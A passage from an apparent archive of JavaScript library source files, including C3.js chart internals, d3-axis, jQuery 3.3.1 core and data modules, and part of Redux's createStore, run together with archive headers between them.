}); $$.subY = $$.getY($$.subYMin, $$.subYMax, forInit ? config.axis_y_default : $$.subY.domain()); $$.subY2 = $$.getY($$.subYMin, $$.subYMax, forInit ? config.axis_y2_default : $$.subY2.domain()); // update axes $$.xAxisTickFormat = $$.axis.getXAxisTickFormat(); $$.xAxisTickValues = $$.axis.getXAxisTickValues(); $$.yAxisTickValues = $$.axis.getYAxisTickValues(); $$.y2AxisTickValues = $$.axis.getY2AxisTickValues(); $$.xAxis = $$.axis.getXAxis($$.x, $$.xOrient, $$.xAxisTickFormat, $$.xAxisTickValues, config.axis_x_tick_outer); $$.subXAxis = $$.axis.getXAxis($$.subX, $$.subXOrient, $$.xAxisTickFormat, $$.xAxisTickValues, config.axis_x_tick_outer); $$.yAxis = $$.axis.getYAxis($$.y, $$.yOrient, config.axis_y_tick_format, $$.yAxisTickValues, config.axis_y_tick_outer); $$.y2Axis = $$.axis.getYAxis($$.y2, $$.y2Orient, config.axis_y2_tick_format, $$.y2AxisTickValues, config.axis_y2_tick_outer); // Set initialized scales to brush and zoom if (!forInit) { if ($$.brush) { $$.brush.updateScale($$.subX); } } // update for arc if ($$.updateArc) { $$.updateArc(); } }; selection.js000064400000007157151677320360007113 0ustar00import CLASS from './class'; import { ChartInternal } from './core'; ChartInternal.prototype.selectPoint = function (target, d, i) { var $$ = this, config = $$.config, cx = (config.axis_rotated ? $$.circleY : $$.circleX).bind($$), cy = (config.axis_rotated ? $$.circleX : $$.circleY).bind($$), r = $$.pointSelectR.bind($$); config.data_onselected.call($$.api, d, target.node()); // add selected-circle on low layer g $$.main.select('.' + CLASS.selectedCircles + $$.getTargetSelectorSuffix(d.id)).selectAll('.' + CLASS.selectedCircle + '-' + i) .data([d]) .enter().append('circle') .attr("class", function () { return $$.generateClass(CLASS.selectedCircle, i); }) .attr("cx", cx) .attr("cy", cy) .attr("stroke", function () { return $$.color(d); }) .attr("r", function (d) { return $$.pointSelectR(d) * 1.4; }) .transition().duration(100) .attr("r", r); }; ChartInternal.prototype.unselectPoint = function (target, d, i) { var $$ = this; $$.config.data_onunselected.call($$.api, d, target.node()); // remove selected-circle from low layer g $$.main.select('.' + CLASS.selectedCircles + $$.getTargetSelectorSuffix(d.id)).selectAll('.' + CLASS.selectedCircle + '-' + i) .transition().duration(100).attr('r', 0) .remove(); }; ChartInternal.prototype.togglePoint = function (selected, target, d, i) { selected ? this.selectPoint(target, d, i) : this.unselectPoint(target, d, i); }; ChartInternal.prototype.selectPath = function (target, d) { var $$ = this; $$.config.data_onselected.call($$, d, target.node()); if ($$.config.interaction_brighten) { target.transition().duration(100) .style("fill", function () { return $$.d3.rgb($$.color(d)).brighter(0.75); }); } }; ChartInternal.prototype.unselectPath = function (target, d) { var $$ = this; $$.config.data_onunselected.call($$, d, target.node()); if ($$.config.interaction_brighten) { target.transition().duration(100) .style("fill", function () { return $$.color(d); }); } }; ChartInternal.prototype.togglePath = function (selected, target, d, i) { selected ? this.selectPath(target, d, i) : this.unselectPath(target, d, i); }; ChartInternal.prototype.getToggle = function (that, d) { var $$ = this, toggle; if (that.nodeName === 'circle') { if ($$.isStepType(d)) { // circle is hidden in step chart, so treat as within the click area toggle = function () {}; // TODO: how to select step chart? } else { toggle = $$.togglePoint; } } else if (that.nodeName === 'path') { toggle = $$.togglePath; } return toggle; }; ChartInternal.prototype.toggleShape = function (that, d, i) { var $$ = this, d3 = $$.d3, config = $$.config, shape = d3.select(that), isSelected = shape.classed(CLASS.SELECTED), toggle = $$.getToggle(that, d).bind($$); if (config.data_selection_enabled && config.data_selection_isselectable(d)) { if (!config.data_selection_multiple) { $$.main.selectAll('.' + CLASS.shapes + (config.data_selection_grouped ? $$.getTargetSelectorSuffix(d.id) : "")).selectAll('.' + CLASS.shape).each(function (d, i) { var shape = d3.select(this); if (shape.classed(CLASS.SELECTED)) { toggle(false, shape.classed(CLASS.SELECTED, false), d, i); } }); } shape.classed(CLASS.SELECTED, !isSelected); toggle(!isSelected, shape, d, i); } }; axis.js000064400000012541151677320360006063 0ustar00import {slice} from "./array"; import identity from "./identity"; var top = 1, right = 2, bottom = 3, left = 4, epsilon = 1e-6; function translateX(x) { return "translate(" + (x + 0.5) + ",0)"; } function translateY(y) { return "translate(0," + (y + 0.5) + ")"; } function number(scale) { return function(d) { return +scale(d); }; } function center(scale) { var offset = Math.max(0, scale.bandwidth() - 1) / 2; // Adjust for 0.5px offset. if (scale.round()) offset = Math.round(offset); return function(d) { return +scale(d) + offset; }; } function entering() { return !this.__axis; } function axis(orient, scale) { var tickArguments = [], tickValues = null, tickFormat = null, tickSizeInner = 6, tickSizeOuter = 6, tickPadding = 3, k = orient === top || orient === left ? -1 : 1, x = orient === left || orient === right ? "x" : "y", transform = orient === top || orient === bottom ? translateX : translateY; function axis(context) { var values = tickValues == null ? (scale.ticks ? scale.ticks.apply(scale, tickArguments) : scale.domain()) : tickValues, format = tickFormat == null ? (scale.tickFormat ? scale.tickFormat.apply(scale, tickArguments) : identity) : tickFormat, spacing = Math.max(tickSizeInner, 0) + tickPadding, range = scale.range(), range0 = +range[0] + 0.5, range1 = +range[range.length - 1] + 0.5, position = (scale.bandwidth ? center : number)(scale.copy()), selection = context.selection ? context.selection() : context, path = selection.selectAll(".domain").data([null]), tick = selection.selectAll(".tick").data(values, scale).order(), tickExit = tick.exit(), tickEnter = tick.enter().append("g").attr("class", "tick"), line = tick.select("line"), text = tick.select("text"); path = path.merge(path.enter().insert("path", ".tick") .attr("class", "domain") .attr("stroke", "currentColor")); tick = tick.merge(tickEnter); line = line.merge(tickEnter.append("line") .attr("stroke", "currentColor") .attr(x + "2", k * tickSizeInner)); text = text.merge(tickEnter.append("text") .attr("fill", "currentColor") .attr(x, k * spacing) .attr("dy", orient === top ? "0em" : orient === bottom ? "0.71em" : "0.32em")); if (context !== selection) { path = path.transition(context); tick = tick.transition(context); line = line.transition(context); text = text.transition(context); tickExit = tickExit.transition(context) .attr("opacity", epsilon) .attr("transform", function(d) { return isFinite(d = position(d)) ? transform(d) : this.getAttribute("transform"); }); tickEnter .attr("opacity", epsilon) .attr("transform", function(d) { var p = this.parentNode.__axis; return transform(p && isFinite(p = p(d)) ? p : position(d)); }); } tickExit.remove(); path .attr("d", orient === left || orient == right ? (tickSizeOuter ? "M" + k * tickSizeOuter + "," + range0 + "H0.5V" + range1 + "H" + k * tickSizeOuter : "M0.5," + range0 + "V" + range1) : (tickSizeOuter ? "M" + range0 + "," + k * tickSizeOuter + "V0.5H" + range1 + "V" + k * tickSizeOuter : "M" + range0 + ",0.5H" + range1)); tick .attr("opacity", 1) .attr("transform", function(d) { return transform(position(d)); }); line .attr(x + "2", k * tickSizeInner); text .attr(x, k * spacing) .text(format); selection.filter(entering) .attr("fill", "none") .attr("font-size", 10) .attr("font-family", "sans-serif") .attr("text-anchor", orient === right ? "start" : orient === left ? "end" : "middle"); selection .each(function() { this.__axis = position; }); } axis.scale = function(_) { return arguments.length ? (scale = _, axis) : scale; }; axis.ticks = function() { return tickArguments = slice.call(arguments), axis; }; axis.tickArguments = function(_) { return arguments.length ? (tickArguments = _ == null ? [] : slice.call(_), axis) : tickArguments.slice(); }; axis.tickValues = function(_) { return arguments.length ? (tickValues = _ == null ? null : slice.call(_), axis) : tickValues && tickValues.slice(); }; axis.tickFormat = function(_) { return arguments.length ? (tickFormat = _, axis) : tickFormat; }; axis.tickSize = function(_) { return arguments.length ? (tickSizeInner = tickSizeOuter = +_, axis) : tickSizeInner; }; axis.tickSizeInner = function(_) { return arguments.length ? (tickSizeInner = +_, axis) : tickSizeInner; }; axis.tickSizeOuter = function(_) { return arguments.length ? (tickSizeOuter = +_, axis) : tickSizeOuter; }; axis.tickPadding = function(_) { return arguments.length ? (tickPadding = +_, axis) : tickPadding; }; return axis; } export function axisTop(scale) { return axis(top, scale); } export function axisRight(scale) { return axis(right, scale); } export function axisBottom(scale) { return axis(bottom, scale); } export function axisLeft(scale) { return axis(left, scale); } data.js000064400000010625151677320360006031 0ustar00define( [ "./core", "./core/access", "./core/camelCase", "./data/var/dataPriv", "./data/var/dataUser" ], function( jQuery, access, camelCase, dataPriv, dataUser ) { "use strict"; // Implementation Summary // // 1. Enforce API surface and semantic compatibility with 1.9.x branch // 2. Improve the module's maintainability by reducing the storage // paths to a single mechanism. // 3. Use the same single mechanism to support "private" and "user" data. // 4. _Never_ expose "private" data to user code (TODO: Drop _data, _removeData) // 5. Avoid exposing implementation details on user objects (eg. expando properties) // 6. Provide a clear path for implementation upgrade to WeakMap in 2014 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/, rmultiDash = /[A-Z]/g; function getData( data ) { if ( data === "true" ) { return true; } if ( data === "false" ) { return false; } if ( data === "null" ) { return null; } // Only convert to a number if it doesn't change the string if ( data === +data + "" ) { return +data; } if ( rbrace.test( data ) ) { return JSON.parse( data ); } return data; } function dataAttr( elem, key, data ) { var name; // If nothing was found internally, try to fetch any // data from the HTML5 data-* attribute if ( data === undefined && elem.nodeType === 1 ) { name = "data-" + key.replace( rmultiDash, "-$&" ).toLowerCase(); data = elem.getAttribute( name ); if ( typeof data === "string" ) { try { data = getData( data ); } catch ( e ) {} // Make sure we set the data so it isn't changed later dataUser.set( elem, key, data ); } else { data = undefined; } } return data; } jQuery.extend( { hasData: function( elem ) { return dataUser.hasData( elem ) || dataPriv.hasData( elem ); }, data: function( elem, name, data ) { return dataUser.access( elem, name, data ); }, removeData: function( elem, name ) { dataUser.remove( elem, name ); }, // TODO: Now that all calls to _data and _removeData have been replaced // with direct calls to dataPriv methods, these can be deprecated. _data: function( elem, name, data ) { return dataPriv.access( elem, name, data ); }, _removeData: function( elem, name ) { dataPriv.remove( elem, name ); } } ); jQuery.fn.extend( { data: function( key, value ) { var i, name, data, elem = this[ 0 ], attrs = elem && elem.attributes; // Gets all values if ( key === undefined ) { if ( this.length ) { data = dataUser.get( elem ); if ( elem.nodeType === 1 && !dataPriv.get( elem, "hasDataAttrs" ) ) { i = attrs.length; while ( i-- ) { // Support: IE 11 only // The attrs elements can be null (#14894) if ( attrs[ i ] ) { name = attrs[ i ].name; if ( name.indexOf( "data-" ) === 0 ) { name = camelCase( name.slice( 5 ) ); dataAttr( elem, name, data[ name ] ); } } } dataPriv.set( elem, "hasDataAttrs", true ); } } return data; } // Sets multiple values if ( typeof key === "object" ) { return this.each( function() { dataUser.set( this, key ); } ); } return access( this, function( value ) { var data; // The calling jQuery object (element matches) is not empty // (and therefore has an element appears at this[ 0 ]) and the // `value` parameter was not undefined. An empty jQuery object // will result in `undefined` for elem = this[ 0 ] which will // throw an exception if an attempt to read a data cache is made. if ( elem && value === undefined ) { // Attempt to get data from the cache // The key will always be camelCased in Data data = dataUser.get( elem, key ); if ( data !== undefined ) { return data; } // Attempt to "discover" the data in // HTML5 custom data-* attrs data = dataAttr( elem, key ); if ( data !== undefined ) { return data; } // We tried really hard, but the data doesn't exist. return; } // Set the data... this.each( function() { // We always store the camelCased key dataUser.set( this, key, value ); } ); }, null, value, arguments.length > 1, null, true ); }, removeData: function( key ) { return this.each( function() { dataUser.remove( this, key ); } ); } } ); return jQuery; } ); core.js000064400000022373151677320360006053 0ustar00/* global Symbol */ // Defining this global in .eslintrc.json would create a danger of using the global // unguarded in another place, it seems safer to define global only for this module define( [ "./var/arr", "./var/document", "./var/getProto", "./var/slice", "./var/concat", "./var/push", "./var/indexOf", "./var/class2type", "./var/toString", "./var/hasOwn", "./var/fnToString", "./var/ObjectFunctionString", "./var/support", "./var/isFunction", "./var/isWindow", "./core/DOMEval", "./core/toType" ], function( arr, document, getProto, slice, concat, push, indexOf, class2type, toString, hasOwn, fnToString, ObjectFunctionString, support, isFunction, isWindow, DOMEval, toType ) { "use strict"; var version = "3.3.1", // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' // Need init if jQuery is called (just allow error to be thrown if not included) return new jQuery.fn.init( selector, context ); }, // Support: Android <=4.0 only // Make sure we trim BOM and NBSP rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: version, constructor: jQuery, // The default length of a jQuery object is 0 length: 0, toArray: function() { return slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { // Return all the elements in a clean array if ( num == null ) { return slice.call( this ); } // Return just the one element from the set return num < 0 ? this[ num + this.length ] : this[ num ]; }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. each: function( callback ) { return jQuery.each( this, callback ); }, map: function( callback ) { return this.pushStack( jQuery.map( this, function( elem, i ) { return callback.call( elem, i, elem ); } ) ); }, slice: function() { return this.pushStack( slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); }, end: function() { return this.prevObject || this.constructor(); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: arr.sort, splice: arr.splice }; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[ 0 ] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // Skip the boolean and the target target = arguments[ i ] || {}; i++; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !isFunction( target ) ) { target = {}; } // Extend jQuery itself if only one argument is passed if ( i === length ) { target = this; i--; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( ( options = arguments[ i ] ) != null ) { // Extend the base object for ( name in options ) { src = target[ name ]; copy = options[ name ]; // Prevent never-ending loop if ( target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) { if ( copyIsArray ) { copyIsArray = false; clone = src && Array.isArray( src ) ? src : []; } else { clone = src && jQuery.isPlainObject( src ) ? src : {}; } // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if ( copy !== undefined ) { target[ name ] = copy; } } } } // Return the modified object return target; }; jQuery.extend( { // Unique for each copy of jQuery on the page expando: "jQuery" + ( version + Math.random() ).replace( /\D/g, "" ), // Assume jQuery is ready without the ready module isReady: true, error: function( msg ) { throw new Error( msg ); }, noop: function() {}, isPlainObject: function( obj ) { var proto, Ctor; // Detect obvious negatives // Use toString instead of jQuery.type to catch host objects if ( !obj || toString.call( obj ) !== "[object Object]" ) { return false; } proto = getProto( obj ); // Objects with no prototype (e.g., `Object.create( null )`) are plain if ( !proto ) { return true; } // Objects with prototype are plain iff they were constructed by a global Object function Ctor = hasOwn.call( proto, "constructor" ) && proto.constructor; return typeof Ctor === "function" && fnToString.call( Ctor ) === ObjectFunctionString; }, isEmptyObject: function( obj ) { /* eslint-disable no-unused-vars */ // See https://github.com/eslint/eslint/issues/6125 var name; for ( name in obj ) { return false; } return true; }, // Evaluates a script in a global context globalEval: function( code ) { DOMEval( code ); }, each: function( obj, callback ) { var length, i = 0; if ( isArrayLike( obj ) ) { length = obj.length; for ( ; i < length; i++ ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } else { for ( i in obj ) { if ( callback.call( obj[ i ], i, obj[ i ] ) === false ) { break; } } } return obj; }, // Support: Android <=4.0 only trim: function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "" ); }, // results is for internal usage only makeArray: function( arr, results ) { var ret = results || []; if ( arr != null ) { if ( isArrayLike( Object( arr ) ) ) { jQuery.merge( ret, typeof arr === "string" ? [ arr ] : arr ); } else { push.call( ret, arr ); } } return ret; }, inArray: function( elem, arr, i ) { return arr == null ? -1 : indexOf.call( arr, elem, i ); }, // Support: Android <=4.0 only, PhantomJS 1 only // push.apply(_, arraylike) throws on ancient WebKit merge: function( first, second ) { var len = +second.length, j = 0, i = first.length; for ( ; j < len; j++ ) { first[ i++ ] = second[ j ]; } first.length = i; return first; }, grep: function( elems, callback, invert ) { var callbackInverse, matches = [], i = 0, length = elems.length, callbackExpect = !invert; // Go through the array, only saving the items // that pass the validator function for ( ; i < length; i++ ) { callbackInverse = !callback( elems[ i ], i ); if ( callbackInverse !== callbackExpect ) { matches.push( elems[ i ] ); } } return matches; }, // arg is for internal usage only map: function( elems, callback, arg ) { var length, value, i = 0, ret = []; // Go through the array, translating each of the items to their new values if ( isArrayLike( elems ) ) { length = elems.length; for ( ; i < length; i++ ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } // Go through every key on the object, } else { for ( i in elems ) { value = callback( elems[ i ], i, arg ); if ( value != null ) { ret.push( value ); } } } // Flatten any nested arrays return concat.apply( [], ret ); }, // A global GUID counter for objects guid: 1, // jQuery.support is not used in Core but other projects attach their // properties to it so it needs to exist. support: support } ); if ( typeof Symbol === "function" ) { jQuery.fn[ Symbol.iterator ] = arr[ Symbol.iterator ]; } // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol".split( " " ), function( i, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); function isArrayLike( obj ) { // Support: real iOS 8.2 only (not reproducible in simulator) // `in` check used to prevent JIT error (gh-2145) // hasOwn isn't used here due to false negatives // regarding Nodelist length in IE var length = !!obj && "length" in obj && obj.length, type = toType( obj ); if ( isFunction( obj ) || isWindow( obj ) ) { return false; } return type === "array" || length === 0 || typeof length === "number" && length > 0 && ( length - 1 ) in obj; } return jQuery; } ); type.js000064400000007007151677320360006101 0ustar00import { ChartInternal } from './core'; import { isString } from './util'; ChartInternal.prototype.setTargetType = function (targetIds, type) { var $$ = this, config = $$.config; $$.mapToTargetIds(targetIds).forEach(function (id) { $$.withoutFadeIn[id] = (type === config.data_types[id]); config.data_types[id] = type; }); if (!targetIds) { config.data_type = type; } }; ChartInternal.prototype.hasType = function (type, targets) { var $$ = this, types = $$.config.data_types, has = false; targets = targets || $$.data.targets; if (targets && targets.length) { targets.forEach(function (target) { var t = types[target.id]; if ((t && t.indexOf(type) >= 0) || (!t && type === 'line')) { has = true; } }); } else if (Object.keys(types).length) { Object.keys(types).forEach(function (id) { if (types[id] === type) { has = true; } }); } else { has = $$.config.data_type === type; } return has; }; ChartInternal.prototype.hasArcType = function (targets) { return this.hasType('pie', targets) || this.hasType('donut', targets) || this.hasType('gauge', targets); }; ChartInternal.prototype.isLineType = function (d) { var config = this.config, id = isString(d) ? d : d.id; return !config.data_types[id] || ['line', 'spline', 'area', 'area-spline', 'step', 'area-step'].indexOf(config.data_types[id]) >= 0; }; ChartInternal.prototype.isStepType = function (d) { var id = isString(d) ? d : d.id; return ['step', 'area-step'].indexOf(this.config.data_types[id]) >= 0; }; ChartInternal.prototype.isSplineType = function (d) { var id = isString(d) ? d : d.id; return ['spline', 'area-spline'].indexOf(this.config.data_types[id]) >= 0; }; ChartInternal.prototype.isAreaType = function (d) { var id = isString(d) ? d : d.id; return ['area', 'area-spline', 'area-step'].indexOf(this.config.data_types[id]) >= 0; }; ChartInternal.prototype.isBarType = function (d) { var id = isString(d) ? d : d.id; return this.config.data_types[id] === 'bar'; }; ChartInternal.prototype.isScatterType = function (d) { var id = isString(d) ? d : d.id; return this.config.data_types[id] === 'scatter'; }; ChartInternal.prototype.isPieType = function (d) { var id = isString(d) ? d : d.id; return this.config.data_types[id] === 'pie'; }; ChartInternal.prototype.isGaugeType = function (d) { var id = isString(d) ? d : d.id; return this.config.data_types[id] === 'gauge'; }; ChartInternal.prototype.isDonutType = function (d) { var id = isString(d) ? d : d.id; return this.config.data_types[id] === 'donut'; }; ChartInternal.prototype.isArcType = function (d) { return this.isPieType(d) || this.isDonutType(d) || this.isGaugeType(d); }; ChartInternal.prototype.lineData = function (d) { return this.isLineType(d) ? [d] : []; }; ChartInternal.prototype.arcData = function (d) { return this.isArcType(d.data) ? [d] : []; }; /* not used function scatterData(d) { return isScatterType(d) ? d.values : []; } */ ChartInternal.prototype.barData = function (d) { return this.isBarType(d) ? d.values : []; }; ChartInternal.prototype.lineOrScatterData = function (d) { return this.isLineType(d) || this.isScatterType(d) ? d.values : []; }; ChartInternal.prototype.barOrLineData = function (d) { return this.isBarType(d) || this.isLineType(d) ? d.values : []; }; api.focus.js000064400000004110151677320360006777 0ustar00import CLASS from './class'; import { Chart } from './core'; Chart.prototype.focus = function (targetIds) { var $$ = this.internal, candidates; targetIds = $$.mapToTargetIds(targetIds); candidates = $$.svg.selectAll($$.selectorTargets(targetIds.filter($$.isTargetToShow, $$))), this.revert(); this.defocus(); candidates.classed(CLASS.focused, true).classed(CLASS.defocused, false); if ($$.hasArcType()) { $$.expandArc(targetIds); } $$.toggleFocusLegend(targetIds, true); $$.focusedTargetIds = targetIds; $$.defocusedTargetIds = $$.defocusedTargetIds.filter(function (id) { return targetIds.indexOf(id) < 0; }); }; Chart.prototype.defocus = function (targetIds) { var $$ = this.internal, candidates; targetIds = $$.mapToTargetIds(targetIds); candidates = $$.svg.selectAll($$.selectorTargets(targetIds.filter($$.isTargetToShow, $$))), candidates.classed(CLASS.focused, false).classed(CLASS.defocused, true); if ($$.hasArcType()) { $$.unexpandArc(targetIds); } $$.toggleFocusLegend(targetIds, false); $$.focusedTargetIds = $$.focusedTargetIds.filter(function (id) { return targetIds.indexOf(id) < 0; }); $$.defocusedTargetIds = targetIds; }; Chart.prototype.revert = function (targetIds) { var $$ = this.internal, candidates; targetIds = $$.mapToTargetIds(targetIds); candidates = $$.svg.selectAll($$.selectorTargets(targetIds)); // should be for all targets candidates.classed(CLASS.focused, false).classed(CLASS.defocused, false); if ($$.hasArcType()) { $$.unexpandArc(targetIds); } if ($$.config.legend_show) { $$.showLegend(targetIds.filter($$.isLegendToShow.bind($$))); $$.legend.selectAll($$.selectorLegends(targetIds)) .filter(function () { return $$.d3.select(this).classed(CLASS.legendItemFocused); }) .classed(CLASS.legendItemFocused, false); } $$.focusedTargetIds = []; $$.defocusedTargetIds = []; }; createStore.js000064400000030333151677322210007372 0ustar00import $$observable from './utils/symbol-observable' import ActionTypes from './utils/actionTypes' import isPlainObject from './utils/isPlainObject' import { kindOf } from './utils/kindOf' /** * @deprecated * * **We recommend using the `configureStore` method * of the `@reduxjs/toolkit` package**, which replaces `createStore`. * * Redux Toolkit is our recommended approach for writing Redux logic today, * including store setup, reducers, data fetching, and more. * * **For more details, please read this Redux docs page:** * **https://redux.js.org/introduction/why-rtk-is-redux-today** * * `configureStore` from Redux Toolkit is an improved version of `createStore` that * simplifies setup and helps avoid common bugs. * * You should not be using the `redux` core package by itself today, except for learning purposes. * The `createStore` method from the core `redux` package will not be removed, but we encourage * all users to migrate to using Redux Toolkit for all Redux code. * * If you want to use `createStore` without this visual deprecation warning, use * the `legacy_createStore` import instead: * * `import { legacy_createStore as createStore} from 'redux'` * */ export function createStore(reducer, preloadedState, enhancer) { if ( (typeof preloadedState === 'function' && typeof enhancer === 'function') || (typeof enhancer === 'function' && typeof arguments[3] === 'function') ) { throw new Error( 'It looks like you are passing several store enhancers to ' + 'createStore(). This is not supported. Instead, compose them ' + 'together to a single function. See https://redux.js.org/tutorials/fundamentals/part-4-store#creating-a-store-with-enhancers for an example.' ) } if (typeof preloadedState === 'function' && typeof enhancer === 'undefined') { enhancer = preloadedState preloadedState = undefined } if (typeof enhancer !== 'undefined') { if (typeof enhancer !== 'function') { throw new Error( `Expected the enhancer to be a function. Instead, received: '${kindOf( enhancer )}'` ) } return enhancer(createStore)(reducer, preloadedState) } if (typeof reducer !== 'function') { throw new Error( `Expected the root reducer to be a function. Instead, received: '${kindOf( reducer )}'` ) } let currentReducer = reducer let currentState = preloadedState let currentListeners = [] let nextListeners = currentListeners let isDispatching = false /** * This makes a shallow copy of currentListeners so we can use * nextListeners as a temporary list while dispatching. * * This prevents any bugs around consumers calling * subscribe/unsubscribe in the middle of a dispatch. */ function ensureCanMutateNextListeners() { if (nextListeners === currentListeners) { nextListeners = currentListeners.slice() } } /** * Reads the state tree managed by the store. * * @returns {any} The current state tree of your application. */ function getState() { if (isDispatching) { throw new Error( 'You may not call store.getState() while the reducer is executing. ' + 'The reducer has already received the state as an argument. ' + 'Pass it down from the top reducer instead of reading it from the store.' ) } return currentState } /** * Adds a change listener. It will be called any time an action is dispatched, * and some part of the state tree may potentially have changed. You may then * call `getState()` to read the current state tree inside the callback. * * You may call `dispatch()` from a change listener, with the following * caveats: * * 1. The subscriptions are snapshotted just before every `dispatch()` call. * If you subscribe or unsubscribe while the listeners are being invoked, this * will not have any effect on the `dispatch()` that is currently in progress. * However, the next `dispatch()` call, whether nested or not, will use a more * recent snapshot of the subscription list. * * 2. The listener should not expect to see all state changes, as the state * might have been updated multiple times during a nested `dispatch()` before * the listener is called. It is, however, guaranteed that all subscribers * registered before the `dispatch()` started will be called with the latest * state by the time it exits. * * @param {Function} listener A callback to be invoked on every dispatch. * @returns {Function} A function to remove this change listener. */ function subscribe(listener) { if (typeof listener !== 'function') { throw new Error( `Expected the listener to be a function. Instead, received: '${kindOf( listener )}'` ) } if (isDispatching) { throw new Error( 'You may not call store.subscribe() while the reducer is executing. ' + 'If you would like to be notified after the store has been updated, subscribe from a ' + 'component and invoke store.getState() in the callback to access the latest state. ' + 'See https://redux.js.org/api/store#subscribelistener for more details.' ) } let isSubscribed = true ensureCanMutateNextListeners() nextListeners.push(listener) return function unsubscribe() { if (!isSubscribed) { return } if (isDispatching) { throw new Error( 'You may not unsubscribe from a store listener while the reducer is executing. ' + 'See https://redux.js.org/api/store#subscribelistener for more details.' ) } isSubscribed = false ensureCanMutateNextListeners() const index = nextListeners.indexOf(listener) nextListeners.splice(index, 1) currentListeners = null } } /** * Dispatches an action. It is the only way to trigger a state change. * * The `reducer` function, used to create the store, will be called with the * current state tree and the given `action`. Its return value will * be considered the **next** state of the tree, and the change listeners * will be notified. * * The base implementation only supports plain object actions. If you want to * dispatch a Promise, an Observable, a thunk, or something else, you need to * wrap your store creating function into the corresponding middleware. For * example, see the documentation for the `redux-thunk` package. Even the * middleware will eventually dispatch plain object actions using this method. * * @param {Object} action A plain object representing “what changed”. It is * a good idea to keep actions serializable so you can record and replay user * sessions, or use the time travelling `redux-devtools`. An action must have * a `type` property which may not be `undefined`. It is a good idea to use * string constants for action types. * * @returns {Object} For convenience, the same action object you dispatched. * * Note that, if you use a custom middleware, it may wrap `dispatch()` to * return something else (for example, a Promise you can await). */ function dispatch(action) { if (!isPlainObject(action)) { throw new Error( `Actions must be plain objects. Instead, the actual type was: '${kindOf( action )}'. You may need to add middleware to your store setup to handle dispatching other values, such as 'redux-thunk' to handle dispatching functions. See https://redux.js.org/tutorials/fundamentals/part-4-store#middleware and https://redux.js.org/tutorials/fundamentals/part-6-async-logic#using-the-redux-thunk-middleware for examples.` ) } if (typeof action.type === 'undefined') { throw new Error( 'Actions may not have an undefined "type" property. You may have misspelled an action type string constant.' ) } if (isDispatching) { throw new Error('Reducers may not dispatch actions.') } try { isDispatching = true currentState = currentReducer(currentState, action) } finally { isDispatching = false } const listeners = (currentListeners = nextListeners) for (let i = 0; i < listeners.length; i++) { const listener = listeners[i] listener() } return action } /** * Replaces the reducer currently used by the store to calculate the state. * * You might need this if your app implements code splitting and you want to * load some of the reducers dynamically. You might also need this if you * implement a hot reloading mechanism for Redux. * * @param {Function} nextReducer The reducer for the store to use instead. * @returns {void} */ function replaceReducer(nextReducer) { if (typeof nextReducer !== 'function') { throw new Error( `Expected the nextReducer to be a function. Instead, received: '${kindOf( nextReducer )}` ) } currentReducer = nextReducer // This action has a similiar effect to ActionTypes.INIT. // Any reducers that existed in both the new and old rootReducer // will receive the previous state. This effectively populates // the new state tree with any relevant data from the old one. dispatch({ type: ActionTypes.REPLACE }) } /** * Interoperability point for observable/reactive libraries. * @returns {observable} A minimal observable of state changes. * For more information, see the observable proposal: * https://github.com/tc39/proposal-observable */ function observable() { const outerSubscribe = subscribe return { /** * The minimal observable subscription method. * @param {Object} observer Any object that can be used as an observer. * The observer object should have a `next` method. * @returns {subscription} An object with an `unsubscribe` method that can * be used to unsubscribe the observable from the store, and prevent further * emission of values from the observable. */ subscribe(observer) { if (typeof observer !== 'object' || observer === null) { throw new TypeError( `Expected the observer to be an object. Instead, received: '${kindOf( observer )}'` ) } function observeState() { if (observer.next) { observer.next(getState()) } } observeState() const unsubscribe = outerSubscribe(observeState) return { unsubscribe } }, [$$observable]() { return this }, } } // When a store is created, an "INIT" action is dispatched so that every // reducer returns their initial state. This effectively populates // the initial state tree. dispatch({ type: ActionTypes.INIT }) return { dispatch, subscribe, getState, replaceReducer, [$$observable]: observable, } } /** * Creates a Redux store that holds the state tree. * * **We recommend using `configureStore` from the * `@reduxjs/toolkit` package**, which replaces `createStore`: * **https://redux.js.org/introduction/why-rtk-is-redux-today** * * The only way to change the data in the store is to call `dispatch()` on it. * * There should only be a single store in your app. To specify how different * parts of the state tree respond to actions, you may combine several reducers * into a single reducer function by using `combineReducers`. * * @param {Function} reducer A function that returns the next state tree, given * the current state tree and the action to handle. * * @param {any} [preloadedState] The initial state. You may optionally specify it * to hydrate the state from the server in universal apps, or to restore a * previously serialized user session. * If you use `combineReducers` to produce the root reducer function, this must be * an object with the same shape as `combineReducers` keys. * * @param {Function} [enhancer] The store enhancer. You may optionally specify it * to enhance the store with third-party capabilities such as middleware, * time travel, persistence, etc. The only store enhancer that ships with Redux * is `applyMiddleware()`. * * @returns {Store} A Redux store 